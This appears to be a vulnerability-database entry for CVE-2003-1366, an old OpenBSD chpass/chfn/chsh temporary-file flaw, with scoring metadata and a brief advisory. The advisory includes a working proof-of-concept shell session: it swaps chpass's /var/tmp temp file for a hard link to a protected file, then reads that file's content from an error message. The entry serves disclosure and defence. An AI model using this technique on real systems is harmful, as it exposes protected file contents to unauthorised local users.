OpenBSD 2.x/3.x - CHPass Temporary File Link File Content Revealing
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-2003-1366 | 17 Oct 200701:00 | – | cve |
 | CVE-2003-1366 | 17 Oct 200701:00 | – | cvelist |
 | EUVD-2003-1356 | 7 Oct 202500:30 | – | euvd |
 | CVE-2003-1366 | 31 Dec 200305:00 | – | nvd |
source: https://www.securityfocus.com/bid/6748/info
It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.
# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shellData
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24 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.3
EPSS0.00497